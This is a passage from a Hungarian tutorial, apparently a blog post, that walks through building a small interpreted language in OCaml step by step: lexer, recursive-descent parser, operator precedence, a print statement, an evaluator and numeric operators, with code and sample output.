Keltél már fel úgy reggel, hogy kedved lenne írni egy programozási nyelvet? Nem? Az azért elég fura. De nem azért vagyunk most itt, hogy megvitassuk kinek hol siklott félre az élete, írjunk inkább egy programozási nyelvet!

A programozási nyelv írás remek lehetőség lappangó istenkomplexusunk kiélésre, mivel teremthetünk egy világot a saját szabályaink szerint. Nem szereted, ha az if után valaki új sorba írja a kapcsos zárójelet? Dobjál rá syntax error-t! Kiráz a hideg a camel case-es függvény nevektől? Tiltsd be őket! Valami fura oknál fogva azt szeretnéd, hogy az összes változó $ jellel kezdődjön? Itt van rá a remek lehetőség!

Egy ilyen volumenű projekt rengeteg előzetes tervezéssel indul, kezdve azzal, hogy milyen problémát akarunk megoldani az új nyelvvel, egészen az olyan apró részletekig, mint hogy hogyan működik a változók láthatósága vagy hogy legyen-e külön operátor string-ek összefűzésére. Ezt mi most mind kihagyjuk és rögtön belevágunk a közepébe... vagy valamelyik részébe. Nem tudom, mivel nem terveztük meg.

Tartalom

0. Első lépések
1. A lexikális elemző
2. Operátorok
3. Műveleti sorrend
4. A szintaktikai elemző
5. Utasítások
6. A kiértékelő
7. Zárójelezés
8. Számos lehetőség
9. Változók
10. Vezérlési szerkezetek
11. Itt a vég

Első lépések

Kezdetben vala a nyers szöveg. A karakterekből tokenek születnek, amiből növesztünk egy szintaxis fát. A fa rugalmas alapanyag, sok mindent lehet belőle csinálni, mint például natív binárist vagy virtuális gép bájt kódot, de akár rögtön le is futtathatjuk.

Ahhoz, hogy nekiláthassunk, szükségünk lesz egy programozási nyelvre, mivel a sajátunk még messze nincs olyan állapotban, hogy saját magában meg lehessen írni. Én az OCaml-t választottam, mert szeretem olyan dolgokkal kínozni magam, amihez vajmi keveset értek. És ezt tényleg úgy kell érteni, hogy a projekt kezdetekor zéró OCaml tudással rendelkeztem és a funkcionális nyelvekről is nagyjából annyit tudtam, amennyi átszivárgott belőlük más nyelvekbe.

Első mérföldkőnek a boolean típus értékeinek tokenné alakítását választottam, mivel csak a true és a false értékekből áll. Rögtön válaszút elé érkeztünk. Legyenek ezek az értékek külön tokenek (TTrue és TFalse) vagy legyen egy TBool token, ami felvehet true vagy false értéket? Nem tűnik úgy, mintha nagy jelentősége lenne, én az utóbbival mentem:

type token =
  | TBool of bool
  | TEOF

let show_token token =
  match token with
  | TBool b -> Printf.sprintf "TBool(%B)" b
  | TEOF    -> "TEOF"

Az OCaml szintaxisa talán egy kicsit idegen lehet, a type-ot én egy felokosított enum-nak képzeltem el, a match pedig egy felokosított switch.

A token típus fogja tartalmazni az összes tokenünket, a show_token pedig csak egy segéd függvény, amit a fejlesztés során használunk majd, hogy ki tudjunk dolgokat íratni a képernyőre, amíg a saját nyelvünknek nincs ilyen funkciója. Felvettünk még egy end-of-file tokent, ami a program végét hivatott jelezni.

A lexikális elemző

Avagy más néven a lexer. A komoly név egyszerű belsőt takar. A kapott nyers szöveget karakterenként beolvassa és tokeneket épít belőle. Ehhez nem árt tudni, hogy hol tartunk éppen, így definiálunk neki egy struct-szerű képződményt (azt hiszem az OCaml neve record), amiben a számunkra fontos adatokat tárolhatjuk:

exception LexError of string

type lexer_state = {
  src : string;
  len : int;
  mutable pos : int;
  mutable line : int;
  mutable col : int;
}

Az elemzés tekintetében a pos lesz nekünk fontos, a line és a col csak azért van, hogy barátságosabb hibaüzeneteket tudjunk generálni a felhasználóknak.

Definiálunk még néhány segéd függvényt, hogy egyszerűbb legyen az életünk:

let make_lexer src = {
  src;
  len = String.length src;
  pos = 0;
  line = 1;
  col = 1;
}

let step ls =
  ls.pos <- ls.pos + 1;
  ls.col <- ls.col + 1

let step_line ls =
  ls.pos <- ls.pos + 1;
  ls.line <- ls.line + 1;
  ls.col <- 1

let current_char ls = ls.src.[ls.pos]

A make_lexer egy kezdő állapotot állít elő számunkra. A step egy egyszerű, soron belüli léptetés, a step_line párja pedig az új sorba lépés. A current_char visszaadja azt a karaktert, amin éppen állunk.

A nyelv adottságai miatt a problémák nagy részét mintaillesztéssel és rekurzióval fogjuk megoldani.

let tokenize src = 
  let ls = make_lexer src in

  let rec loop tokens =
    if ls.pos < ls.len then
      match current_char ls with
      | '\n' ->
        step_line ls;
        loop tokens
      | ' ' | '\t' | '\r' ->
        step ls;
        loop tokens
      | 'a'..'z' ->
        loop (tokenize_name ls :: tokens)
      | c ->
        raise (LexError (Printf.sprintf "Unexpected character '%c' on line %d col %d" c ls.line ls.col))
    else
      TEOF :: tokens
  in

  List.rev (loop [])

Csinálunk egy példányt a struct-unkból (ls) és egy rekurzív függvényt (loop), amit aztán meg is hívunk egy üres listával. A rekurzió addig megy, amíg a forráskód végére nem érünk, ekkor hozzáad a token lista elejéhez egy TEOF tokent. Valamiért a lista elejére szeretnek ebben a nyelvben pakolni, ezért kell a függvény végén megfordítanunk a listát a List.rev hívással.

Ha még nem vagyunk a fájl végén, akkor megvizsgáljuk az aktuális karaktert. Szóköz-jellegű karakterek esetén csak léptetünk, de nem fűzünk hozzá semmit a listához, ha alfabetikus adatot kapunk, akkor egy másik függvénnyel értelmezzük és hozzáfűzzük a tokenekhez, egyébként pedig hibát dobunk ismeretlen karakterre (amihez használjuk a line és col értékeinket).

let tokenize_name ls =
  let is_name_char ch = ch >= 'a' && ch <= 'z' in

  let start_col = ls.col in
  let start = ls.pos in

  while ls.pos < ls.len && is_name_char (current_char ls) do
    step ls
  done;

  let name = String.sub ls.src start (ls.pos - start) in
  match name with
  | "true"  -> TBool true
  | "false" -> TBool false
  | _       -> raise (LexError (Printf.sprintf "Unexpected name '%s' on line %d col %d" name ls.line start_col))

A névhez addig léptetünk, amíg megfelelő karaktereket látunk (amihez definiáljuk az is_name_char kis segéd függvényt). Ez után a kapott pozíciók alapján kinyerjük a nevet a forrásból és megpróbáljuk értelmezni. Szerény kis nyelvkezdeményünk egyelőre a true és a false kivételével nem ért meg semmit.

Nincs más hátra, mint egy "main" függvény, amivel kipróbálhatjuk a remek lexikális elemzőnket:

let () =
  let src = {|true false
true
true false

false|} in
  try
    let tokens = tokenize src in
    print_endline (String.concat "; " (List.map show_token tokens))
  with LexError e -> print_endline ("Fatal error: " ^ e)

A forráskódot tokenizáljuk és a kapott tokeneket kiíratjuk a korábban definiált show_token függvény segítségével. Az eredmény pedig valami ilyesmi lesz:

$ ocaml main.ml
TBool(true); TBool(false); TBool(true); TBool(true); TBool(false); TBool(false); TEOF

Persze előfordulhat, hogy elfelejtjük, hogy milyen tokeneket képes értelmezni a nyelvünk...

true false
false true true
true oops false
true
false
true
false

...és kapunk egy csúnya hibát:

$ ocaml main.ml
Fatal error: Unexpected name 'oops' on line 3 col 6

Ennek a lépésnek a teljes kódja megtekinthető itt.

Bár vannak tokenjeink, az értékek megléte önmagában még nem elég összetett ahhoz, hogy legyen miből szintaxis fát növeszteni. Így szükségünk lesz még valamire, ami használja is ezeket az értékeket.

Operátorok

Kezdetnek mondjuk definiálhatnánk néhány operátort. Mehetünk a szokásos C-jellegű !, &&, || trióval, vagy mondjuk a kicsit Python-osabb not, and, or szavakkal. A végeredményen nem változtat, csak a lexikális elemző lesz tőle egy kicsit más. Én most az utóbbit választottam.

Először is szükségünk lesz új token típusokra:

type token =
  | TBool of bool
  | TBoolAnd
  | TBoolOr
  | TBoolNot
  | TEOF

Amihez sajnos a show_token függvényünket is ki kell egészíteni új match ágakkal:

let show_token token =
  match token with
  | TBool b  -> Printf.sprintf "TBool(%B)" b
  | TBoolAnd -> "TBoolAnd"
  | TBoolOr  -> "TBoolOr"
  | TBoolNot -> "TBoolNot"
  | TEOF     -> "TEOF"

Aztán a tokenize_name függvényben lekezeljük az új neveket:

match name with
| "true"  -> TBool true
| "false" -> TBool false
| "and"   -> TBoolAnd
| "or"    -> TBoolOr
| "not"   -> TBoolNot
| _       -> raise (LexError (Printf.sprintf "Unexpected name '%s' on line %d col %d" name ls.line start_col))

A not true or false and true forráskóddal megfuttatva a programunkat így már az alábbi kimenetet fogjuk kapni:

$ ocaml main.ml
TBoolNot; TBool(true); TBoolOr; TBool(false); TBoolAnd; TBool(true); TEOF

Ennek a lépésnek a módosításai megtekinthetőek itt.

Vannak boolean értékeink és operátorok, amik kezdenek is valamit ezekkel az értékekkel, most már van miből felépíteni a fát.

Műveleti sorrend

Mielőtt belekezdenénk a konkrét feldolgozásba, érdemes egy pár szót ejteni a műveleti sorrendről, mivel a szintaktikai elemző működését és felépítését nagyban ez vezérli.

Általában az egy változós operátor előbb jut érvényre, mint a két változós operátor (a not false and true kifejezést úgy értelmezzük, hogy (not false) and true, bár még nincsenek zárójeleink).

Előfordulhat, hogy két operátor egy szinten van (például a - és a +), azok kiértékelése több módon is történhet:

• nem engedjük, hogy ilyen történjen (például nem akarunk olyat a nyelvünkben, hogy 1 < 2 < 3, csak olyat, hogy 1 < 2 and 2 < 3)
• balról jobbra értékeljük ki (1 + 2 - 3 az (1 + 2) - 3)
• jobbról balra értékeljük ki (1 + 2 - 3 az 1 + (2 - 3))

Érdemes áttanulmányozni "kész" programozási nyelvek (például a C++) műveleti sorrendre vonatkozó dokumentációját.

A szintaktikai elemző

A szintaktikai elemző (parser) fogja a tokenek listáját és megpróbálja a saját szabályai szerint értelmezni őket és építeni belőle egy szintaxis fát. Figyelembe véve a nyelv által jelenleg támogatott tokeneket, a fa elemei a következő típusokat vehetik fel:

type expr =
  | EBool of bool
  | EBoolNot of expr
  | EBoolAnd of expr * expr
  | EBoolOr of expr * expr

Az EBool olyan, mint a TBool, a többinek viszont van egy olyan érdekessége, hogy paraméterként expr típusú dolgokat kaphatnak, így a típus is rekurzív. Írhatunk például olyanokat, hogy EBoolOr(EBoolNot(EBool(true)), EBool(false)). A * itt nem a szorzást jelenti, csak a paraméterek elválasztó karaktere.

A fenti kifejezés fa nézetben

Itt is lesz egy segéd függvényünk, hogy ki tudjuk íratni az elkészült kifejezést:

let rec show_expr e =
  match e with
  | EBool b -> Printf.sprintf "EBool(%B)" b
  | EBoolNot e' -> Printf.sprintf "EBoolNot(%s)" (show_expr e')
  | EBoolAnd (l, r) -> Printf.sprintf "EBoolAnd(%s, %s)" (show_expr l) (show_expr r)
  | EBoolOr (l, r) -> Printf.sprintf "EBoolOr(%s, %s)" (show_expr l) (show_expr r)

Mivel a típus rekurzív, így az expr típusú paraméterekre újra meg kell hívnunk a show_expr függvényt. A szokásos mintaillesztés és rekurzió. Az EBoolNot sorában lévő e' nem valamilyen speciális nyelvi elem, az aposztróf is a változó nevének a része.

A lexikális elemzőhöz hasonlóan a szintaktikai elemzőnek is lesz egy belső állapota és néhány segéd függvénye.

exception ParseError of string

type parser_state = {
  mutable tokens : token list;
}

let make_parser tokens = { tokens }

let peek ps =
  match ps.tokens with
  | t :: _ -> t
  | [] -> TEOF

let consume ps =
  match ps.tokens with
  | t :: rest -> ps.tokens <- rest; t
  | [] -> TEOF

A parser_state-ben egyelőre csak a tokenjeink vannak, mire ide értünk elveszett az az információ, hogy melyik sorban és oszlopban járunk, úgyhogy egyelőre le kell mondanunk a felhasználóbarátabb hibaüzenetekről.

A peek visszaadja, hogy mi a következő token anélkül, hogy kivenné a listából. Itt megfigyelhető, hogy mennyire okos tud lenni a match, a t :: _ szerkezet ismerős lehet a tokenize-ből, mint a lista elejére fűző operátor, de ebben a kontextusban a t változóba a lista első elemét fogja tenni a match, a lista többi részével pedig nem kívánunk foglalkozni (_).

A consume is visszaadja a következő tokent, de ki is szedi a listából (a lista maradéka lesz a ps.tokens új értéke).

Rá is térhetünk a konkrét értelmezésre. A műveleti sorrend, amit szeretnénk elérni:

1. típusok értelmezése (parse_primary)
2. boolean not operátor (parse_bool_unary)
3. boolean and és or operátor (parse_bool_expr)

Először a kifejezéseket fogjuk feldolgozni... mivel csak kifejezéseink vannak. És csak boolean típusunk, ezért végeredményben csak boolean kifejezéseket fogunk feldolgozni. A kódban a gyengébb operátoroktól haladunk lefelé az erősebb operátorokig.

let rec parse_expr ps =
  parse_bool_expr ps

and parse_bool_expr ps =
  let rec loop left =
    match peek ps with
    | TBoolAnd ->
      ignore (consume ps);
      let right = parse_bool_unary ps in
      loop (EBoolAnd (left, right))
    | TBoolOr ->
      ignore (consume ps);
      let right = parse_bool_unary ps in
      loop (EBoolOr (left, right))
    | _ -> left
  in
  loop (parse_bool_unary ps)

A parse_expr-nek nincs sok értelme, csak nem akartam, hogy egy olyan specifikus nevű függvénnyel induljon a kifejezések feldolgozása, mint a parse_bool_expr.

Az egymásra épülő rekurzív függvények az and segítségével vannak összefűzve. Itt a tokenize-ból már ismert rekurzív loop szerkezetet használjuk, ami megkapja a két változós operátor bal operandusát egy lentebbi szinttől. Ha talál hozzá and vagy or operátort, akkor épít egy megfelelő fa elemet és megpróbál rekurzívan további and vagy or operátorokat keresni. Ha nem sikerül, akkor visszaadja az eddig összegyűjtött dolgokat (vagy az eredeti bal operandust).

Érdemes itt még megjegyezni, hogy a boolean operátorok esetén tradicionálisan az and erősebb szokott lenni, mint az or. A jelenlegi implementációnk szerint viszont egy szinten vannak és balról jobbra kerülnek kiértékelésre.

Mivel mi vagyunk eme világ alkotói, tekinthetünk erre elvárt működésként vagy hibaként is. Utóbbi értelmezés esetén a javítás remek gyakorlási lehetőség az olvasó számára. Ehhez a parse_bool_expr-et kell szétszedni két szintre: a parse_bool_or_expr a parse_bool_and_expr-re hívna tovább, a parse_bool_and_expr pedig a parse_bool_unary-ra.

A következő szintünk az egy változós operátor (not):

and parse_bool_unary ps =
  match peek ps with
  | TBoolNot ->
    ignore (consume ps);
    EBoolNot (parse_bool_unary ps)
  | _ -> parse_primary ps

Ha találunk not tokent, akkor visszaadjuk a hozzá tartozó fa elemet (aminek az értéke szintén lehet egy not operátor vagy egy egyszerű érték), egyébként megpróbálunk egyszerű értékeket keresni.

Nem maradt más hátra, mint az egyszerű értékek feldolgozása:

and parse_primary ps =
  match peek ps with
  | TBool b ->
    ignore (consume ps);
    EBool b
  | t -> raise (ParseError (Printf.sprintf "Unexpected token '%s'" (show_token t)))

Ha true vagy false következik, akkor tovább növesztjük a fát egy EBool elemmel, egyébként dobunk egy hibát, hogy ilyen tokenre nem számítottunk. Végül a függvény, ami ezt az egészet meghívja:

let parse_program tokens =
  let ps = make_parser tokens in
  let expr = parse_expr ps in
  let t = peek ps in
  if t <> TEOF then
    raise (ParseError (Printf.sprintf "Unexpected token '%s'" (show_token t)));
  expr

Mivel jelenleg csak egy kifejezésből áll a nyelvünk, ha a kifejezés értelmezése után maradt még token, ami nem a TEOF, akkor baj van.

Az új "main" függvényünkben felépítjük a fát és ki is íratjuk:

let () =
  let src = {|not true or false and true|} in
  try
    let tokens = tokenize src in
    print_endline (String.concat "; " (List.map show_token tokens));
    let ast = parse_program tokens in
    print_endline (show_expr ast)
  with
  | LexError e -> print_endline ("Fatal error: " ^ e)
  | ParseError e -> print_endline ("Parse error: " ^ e)

A kimenet pedig valahogy így néz ki:

$ ocaml main.ml
TBoolNot; TBool(true); TBoolOr; TBool(false); TBoolAnd; TBool(true); TEOF
EBoolAnd(EBoolOr(EBoolNot(EBool(true)), EBool(false)), EBool(true))

A sok rekurzió egy kicsit össze tudja zavarni az ember lelki világát, úgyhogy ezen a ponton érdemes átgondolni, hogy hogyan is épül fel a fa.

1. a parse_bool_expr meghívja a parse_bool_unary-t, ami megtalálja a TBoolNot tokent, visszaad egy EBoolNot elemet, aminek az értékéhez újra meghívja saját magát
2. a következő TBool token nem illeszkedik a parse_bool_unary dolgaira, így tovább csorog a parse_primary-ba, ahol lesz belőle egy EBool elem és visszaugrunk a parse_bool_expr-be
3. a parse_bool_expr-ben belépünk a loop-ba, ami talál egy TBoolOr tokent, amiből lesz egy EBoolOr elem, aminek a bal oldali operandusa a korábban megkapott EBoolNot(EBool(true)), a jobb oldali operandus kiszámításához pedig meghívja a parse_bool_unary-t
4. a parse_bool_unary nem lát egy változós operátort, úgyhogy a parse_primary ad vissza egy EBool-t és visszaugrunk a loop-ba
5. kész az EBoolOr elemünk, amit bal oldali operandusként használva újra meghívjuk a loop-ot
6. a loop talál egy TBoolAnd tokent, amiből lesz egy EBoolAnd és keres hozzá egy jobb oldali operandust a parse_bool_unary segítségével
7. a parse_bool_unary nem lát egy változós operátort, úgyhogy a parse_primary ad vissza egy EBool-t és visszaugrunk a loop-ba
8. a TEOF token következik, ami nem illeszkedik semmire, úgyhogy kiszállunk a loop-ból és a parse_bool_expr-ből is
9. a parse_program látja a TEOF-ot és ez boldogsággal tölti el

Persze előfordulhat olyan eset is, ahol a parse_program már nem ilyen boldog. Mondjuk próbáljuk ki azt, hogy false not and true:

$ ocaml main.ml
TBool(false); TBoolNot; TBoolAnd; TBool(true); TEOF
Parse error: Unexpected token 'TBoolNot'

Ennek a lépésnek a módosításai megtekinthetőek itt.

A programunk jelenleg egy darab kifejezésből áll, amit ugyan ki lehetne értékelni, de senki nem kezd semmit ezzel az értékkel. Szükségünk lenne egy utasításra.

Utasítások

Az első felmerülő gondolatom az volt, hogy jó lenne, ha valami kimenetet is tudna generálni a programunk. Ennek tükrében a print egy remek választásnak tűnik, mint első utasítás.

Újra alkalmunk van meghozni egy rakás döntést a szintaktikával kapcsolatban. Én azzal mentem, hogy az utasításokat új sorok választják el egymástól, nincs erre külön karakter bevezetve (mint például a klasszikus ;). Az utasítás pedig függvényhívásként fog kinézni: print(kifejezés).

Először is szükségünk lesz néhány új tokenre:

type token =
  (* ... *)
  | TLeftParen
  | TRightParen
  | TNewLine
  | TIdentifier of string
  (* ... *)

Innentől az új sor is egy token lesz, mivel van nyelvi jelentősége. A TIdentifier egy általános azonosító lesz, amit a print-re is használni fogunk. A (* és *) pedig a kommenteket hivatott jelölni OCaml-ben, úgyhogy azok csak a meglévő részek helyett vannak, hogy ne kelljen mindent ismételni.

Természetesen a show_token-t is frissítenünk kell az új érkezőkkel:

let show_token token =
  match token with
  (* ... *)
  | TLeftParen -> "TLeftParen"
  | TRightParen -> "TRightParen"
  | TNewLine -> "TNewLine"
  | TIdentifier s -> Printf.sprintf "TIdentifier(%s)" s
  (* ... *)

Eddig talán semmi meglepő. A lexikális elemzőnk tokenize_name része egyszerűsödik egy kicsit, mivel innentől minden alfabetikus azonosítót elfogadunk a lexikális elemzés szintjén:

let tokenize_name ls =
  (* ... *)
  match name with
  | "true"  -> TBool true
  | "false" -> TBool false
  | "and"   -> TBoolAnd
  | "or"    -> TBoolOr
  | "not"   -> TBoolNot
  | _       -> TIdentifier name

Az ismeretlen azonosítók innentől a szintaktikai elemzés során fognak hibát dobni.

A tokenize mintaillesztését is módosítanunk kell egy kicsit, hogy támogassuk az új nyelvi elemeket.

match current_char ls with
| ' ' | '\t' | '\r' ->
  step ls;
  loop tokens
| '\n' ->
  step_line ls;
  loop (TNewLine :: tokens)
| '(' ->
  step ls;
  loop (TLeftParen :: tokens)
| ')' ->
  step ls;
  loop (TRightParen :: tokens)
| 'a'..'z' ->
  loop (tokenize_name ls :: tokens)
| c ->
  raise (LexError (Printf.sprintf "Unexpected character '%c' on line %d col %d" c ls.line ls.col))

Az új sor karakterre már nem csak léptetünk, ezen kívül kezeljük a nyitó- és csukó zárójeleket is.

A szintaxis fa egy új típussal bővül az utasításokhoz, aminek a print lesz az első tagja.

type stmt =
  | SPrint of expr

A könnyebb debuggolás érdekében ide sem árt a kapcsolódó show_stmt függvény:

let show_stmt s =
  match s with
  | SPrint e -> Printf.sprintf "SPrint(%s)" (show_expr e)

A szintaktika elemzéshez szükségünk lesz két új segéd függvényre:

let expect ps tok =
  let t = consume ps in
  if t <> tok then
    raise (ParseError (Printf.sprintf "Unexpected token '%s', expected '%s'" (show_token t) (show_token tok)))

let skip_newlines ps =
  while peek ps = TNewLine do ignore (consume ps) done

Az expect hibát dob, ha a következő token nem az, mint amire számítunk. A skip_newlines segítségével pedig az üres sorokat hagyhatjuk figyelmen kívül.

A jó hír az, hogy a parse_expr rekurziós láncunkhoz nem is kell hozzányúlnunk. Egy új láncot indítunk:

let rec parse_stmts ps =
  let rec loop stmts =
    skip_newlines ps;
    match peek ps with
    | TEOF -> ignore (consume ps); stmts
    | _ -> loop (parse_stmt ps :: stmts)
  in

  List.rev (loop [])

A rekurzív szerkezet már ismerős lehet a tokenize-ból, az üres sorokat ignoráljuk, a fájl vége esetén kiszállunk a rekurzióból, egyébként pedig feldolgozzuk a következő utasítást és hozzácsapjuk a lista elejéhez. A végén pedig itt is meg kell fordítanunk a listát.

and parse_stmt ps =
  match peek ps with
  | TIdentifier "print" ->
    ignore (consume ps);
    expect ps TLeftParen;
    let expr = parse_expr ps in
    expect ps TRightParen;
    SPrint(expr)
  | t -> raise (ParseError (Printf.sprintf "Unexpected token '%s'" (show_token t)))

A hozzá tartozó parse_stmt, ami a print azonosítót kezeli. Az azonosító után egy nyitó zárójelnek kell következnie, ami után egy kifejezésre számítunk, amit egy csukó zárójel zár le. Egyéb utasításokat még nem kezelünk, úgyhogy minden másra hibát dobunk (ide vándorolt át a tokenize_name-ben megszüntetett kivétel dobás).

Ezek után a parse_program igényel még némi egyszerűsítést:

let parse_program tokens =
  let ps = make_parser tokens in
  parse_stmts ps

És a "main" függvényünk is módosul egy picit:

let () =
  let src = {|print(false or true)

print(false)|} in
  try
    let tokens = tokenize src in
    print_endline (String.concat "; " (List.map show_token tokens));
    let stmts = parse_program tokens in
    print_endline (String.concat "\n" (List.map show_stmt stmts));
  with
  | LexError e -> print_endline ("Fatal error: " ^ e)
  | ParseError e -> print_endline ("Parse error: " ^ e)

Kimenetként pedig a következőt kell látnunk:

$ ocaml main.ml
TIdentifier(print); TLeftParen; TBool(false); TBoolOr; TBool(true); TRightParen; TNewLine; TNewLine; TIdentifier(print); TLeftParen; TBool(false); TRightParen; TEOF
SPrint(EBoolOr(EBool(false), EBool(true)))
SPrint(EBool(false))

Ennek a lépésnek a módosításai megtekinthetőek itt.

Most már nem csak egy szintaxis fánk van, hanem soronként egy, egy nagyobb programnál egy egész szintaxis erdőt növesztünk.

Ezzel sikerült eljutnunk egy olyan pontra, ahol már van mit érdemben kiértékelni, ha lefuttatnánk ezt a programot, akkor látható eredménye lenne. Kezdjük is el a kiértékelést.

A kiértékelő

A kiértékelő utasításonként megy végig a szintaxis fákon és hajtja végre őket.

Meglepő módon ez a lépés is azzal indul, hogy csinálunk egy új típust és megírjuk a hozzá tartozó show_ függvényt:

type value =
  | VBool of bool

let show_value v =
  match v with
  | VBool b -> Printf.sprintf "%B" b

Jöhet a kifejezések kiértékelése.

let rec eval expr =
  match expr with
  | EBool b -> VBool b
  | EBoolNot e ->
    (match eval e with
    | VBool b -> VBool (not b))
  | EBoolAnd (l, r) ->
    (match eval l, eval r with
    | VBool a, VBool b -> VBool (a && b))
  | EBoolOr (l, r) ->
    (match eval l, eval r with
    | VBool a, VBool b -> VBool (a || b))

Nem meglepő, hogy itt is mintaillesztéssel és rekurzióval operálunk. Mivel boolean típuson kívül mással még nem rendelkezünk, az eval-ban lévő mintaillesztések egy kicsit furán hathatnak, de később még jól fognak jönni.

let exec stmt =
  match stmt with
  | SPrint e ->
    print_endline (show_value (eval e))

Az exec-ben a print_endline egy beépített függvény, a show_value-t pedig végre már nem csak debuggolási céllal használjuk, hanem a tényleges kód kiértékelés során.

Már csak a "main" függvény módosítása maradt hátra, hogy végrehajtsuk az utasításokat:

let () =
  let src = {|print(false or not true)

print(not false and true)|} in
  try
    let tokens = tokenize src in
    let stmts = parse_program tokens in
    List.iter exec stmts
  with
  | LexError e -> print_endline ("Fatal error: " ^ e)
  | ParseError e -> print_endline ("Parse error: " ^ e)

A kimenet pedig reményeink szerint az lesz, amire számítunk:

$ ocaml main.ml
false
true

Ennek a lépésnek a módosításai megtekinthetőek itt.

Tulajdonképpen van egy kész programunk, ami boolean kifejezéseket tud kiértékelni és kiírja az eredményüket. De azért kár lenne itt megállni.

Zárójelezés

Jelenleg, ha megpróbáljuk futtatni a print(not (false or not true)) programot, akkor a következő hibát kapjuk:

$ ocaml main.ml
Parse error: Unexpected token 'TLeftParen'

Sajnos a nyelv hibakezelése nem segít megérteni, hogy honnan jön pontosan a hiba, de joggal gyanakodhatunk a parse_primary függvényre. Szóval ha szeretnénk támogatni a tetszőleges zárójelezhetőséget, akkor felvehetünk a kifejezés feldolgozó láncba egy új függvényt:

1. típusok értelmezése (parse_primary)
2. zárójelezés (parse_bracketing)
3. boolean not operátor (parse_bool_unary)
4. boolean and és or operátor (parse_bool_expr)

and parse_bracketing ps =
  match peek ps with
  | TLeftParen ->
    ignore (consume ps);
    let expr = parse_expr ps in
    expect ps TRightParen;
    expr
  | _ -> parse_primary ps

Nem feltétlen kellene az új függvény, elég lenne egy új ág a parse_primary mintaillesztésében is, de úgy érzem ez így jobban kifejezi a műveleti sorrendet.

A módosításunk után már a megfelelő kimenetet fogjuk kapni:

$ ocaml main.ml
true

Ennek a lépésnek a módosításai megtekinthetőek itt.

Ez azért elég menő, hogy kevesebb, mint tíz sornyi kóddal implementáltuk a tetszőleges zárójelezhetőséget. Ideje valami nagyobb szintaxis fába vágni a fejszénket.

Számos lehetőség

Van egy működő folyamatunk, ami értelmezni és futtatni tudja a kapott nyers szöveget. Egy új típus, mondjuk a számok hozzáadása már nem jelent különösebb meglepetést kód szinten. Az összes réteghez hozzá kell nyúlnunk ugyan, de a módosítások egyszerűek, még ha viszonylag sok kóddal is járnak. Először is a tokenek:

type token =
  (* ... *)
  | TNumber of float
  | TLt
  | TLtEq
  | TGt
  | TGtEq
  | TEq
  | TNotEq
  | TPlus
  | TMinus
  | TAsterisk
  | TSlash
  | TPercent
  (* ... *)

Jó sok új token, implementálni fogjuk a <, <=, >, >=, ==, <> összehasonlító operátorokat és a +, -, *, /, % aritmetikai operátorokat is. Természetesen a show_token függvényt is bővíteni kell, de ezt mindenki képzeletére bízom az előző bővítések alapján.

A lexikális elemző mintaillesztése a tokenize függvényben a következőkkel bővül:

match current_char ls with
(* ... *)
| '+' -> step ls; loop (TPlus :: tokens)
| '-' -> step ls; loop (TMinus :: tokens)
| '*' -> step ls; loop (TAsterisk :: tokens)
| '/' -> step ls; loop (TSlash :: tokens)
| '%' -> step ls; loop (TPercent :: tokens)
| '<' ->
  step ls;
  (match current_char ls with
  | '=' -> step ls; loop (TLtEq :: tokens)
  | '>' -> step ls; loop (TNotEq :: tokens)
  | _   -> loop (TLt :: tokens))
| '>' ->
  step ls;
  (match current_char ls with
  | '=' -> step ls; loop (TGtEq :: tokens)
  | _   -> loop (TGt :: tokens))
| '=' ->
  step ls;
  (match current_char ls with
  | '=' -> step ls; loop (TEq :: tokens)
  | c   -> raise (LexError (Printf.sprintf "Unexpected character '%c' on line %d col %d" c ls.line ls.col)))
| '0' .. '9' ->
  loop (tokenize_number ls :: tokens)
(* ... *)

Apró újdonság itt, hogy egyes operátorokhoz két karaktert együtt kell néznünk. Valamint nincs még = operátorunk, úgyhogy arra még hibát dobunk.

Ezzel bevezettünk egy érdekes bug-ot is: a step ls utáni current_char hívás nem ellenőrzi, hogy vége van-e a forráskódnak, így előfordulhat, hogy egy nem várt OCaml kivételt kapunk (Invalid_argument "index out of bounds".) olyan egyébként is hibás inputra, mint például a print(1 <.

A tokenize_number kísértetiesen hasonlít a korábbi tokenize_name függvényre, csak éppen számokkal:

let tokenize_number ls =
  let is_number_char ch = ch >= '0' && ch <= '9' || ch == '.' in
  let start = ls.pos in

  while ls.pos < ls.len && is_number_char (current_char ls) do
    step ls
  done;

  TNumber (float_of_string (String.sub ls.src start (ls.pos - start)))

A szintaxis fa is bővül az új operátorokhoz szükséges elemekkel:

type expr =
  (* ... *)
  | ENumber of float
  | EGt of expr * expr
  | EGtEq of expr * expr
  | ELt of expr * expr
  | ELtEq of expr * expr
  | EEq of expr * expr
  | ENotEq of expr * expr
  | EAdd of expr * expr
  | ESub of expr * expr
  | EMul of expr * expr
  | EDiv of expr * expr
  | EMod of expr * expr
  (* ... *)

Visszajutottunk a szintaktikai elemzőhöz, így ismét felmerül a műveleti sorrend kérdése. Az új operátorok így illeszkednek bele a jelenlegi rendszerünkbe:

1. típusok értelmezése (parse_primary)
2. zárójelezés (parse_bracketing)
3. szorzás és osztás (parse_mul_div)
4. összeadás és kivonás (parse_add_sub)
5. összehasonlító operátorok (parse_comparison)
6. boolean not operátor (parse_bool_unary)
7. boolean and és or operátor (parse_bool_expr)

Szóval a parse_bool_unary után kell beszúrnunk a láncba három új függvényt:

and parse_comparison ps =
  let left = parse_add_sub ps in
  match peek ps with
  | TLt    -> ignore (consume ps); ELt (left, parse_add_sub ps)
  | TLtEq  -> ignore (consume ps); ELtEq (left, parse_add_sub ps)
  | TGt    -> ignore (consume ps); EGt (left, parse_add_sub ps)
  | TGtEq  -> ignore (consume ps); EGtEq (left, parse_add_sub ps)
  | TEq    -> ignore (consume ps); EEq (left, parse_add_sub ps)
  | TNotEq -> ignore (consume ps); ENotEq (left, parse_add_sub ps)
  | _ -> left

Hasonló a szerkezete a korábbiakhoz, nem hívja saját magát rekurzívan, mert nem akartam támogatni a 1 < 2 >= 0 == 0 jellegű kifejezéseket. Vannak nyelvek, amik ezt részben támogatják (például Python-ban az a < b < c formátum működik), ez pusztán csak ízlés kérdése.

and parse_add_sub ps =
  let rec loop left =
    match peek ps with
    | TPlus  -> ignore (consume ps); loop (EAdd (left, parse_mul_div ps))
    | TMinus -> ignore (consume ps); loop (ESub (left, parse_mul_div ps))
    | _ -> left
  in
  loop (parse_mul_div ps)

Itt megvan az említett belső rekurzív loop, úgyhogy írhatunk olyat, hogy 1 + 2 + 3 - 4, ami aztán balról jobbra fog kiértékelődni.

and parse_mul_div ps =
  let rec loop left =
    match peek ps with
    | TAsterisk -> ignore (consume ps); loop (EMul (left, parse_bracketing ps))
